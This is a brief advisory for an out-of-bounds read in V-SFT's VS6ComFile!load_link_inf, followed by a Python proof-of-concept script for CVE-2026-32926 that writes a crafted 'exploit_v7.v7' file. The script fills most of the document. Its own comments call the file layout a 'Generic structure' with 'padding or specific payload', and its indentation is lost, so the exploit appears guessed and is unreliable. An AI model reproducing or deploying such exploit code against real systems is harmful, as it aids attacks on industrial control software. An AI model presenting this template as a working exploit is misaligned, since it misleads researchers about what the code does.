V-SFT versions 6.2.10.0 and prior contain an out-of-bounds read vulnerability in VS6ComFile!load_link_inf. Opening a crafted V7 file may lead to information disclosure from the affected product.
The following code is for security research and authorized testing only.
python
import struct
# Proof of Concept for CVE-2026-32926
# This script generates a crafted V7 file structure that may trigger the out-of-bounds read
# in VS6ComFile!load_link_inf due to improper boundary checks.
def generate_malicious_v7(filename):
with open(filename, 'wb') as f:
# V7 File Header (Generic structure)
f.write(b'V7\x00')
# Crafted section designed to hit load_link_inf
# Manipulating the size field to cause overflow in VS6ComFile
malicious_size = 0xFFFFFFFF # Excessive size to trigger OOB read
f.write(struct.pack('<I', malicious_size))
# Padding or specific payload to reach the vulnerable offset
f.write(b'A' * 100)
print(f"[+] Malicious file generated: {filename}")
if __name__ == "__main__":
generate_malicious_v7("exploit_v7.v7")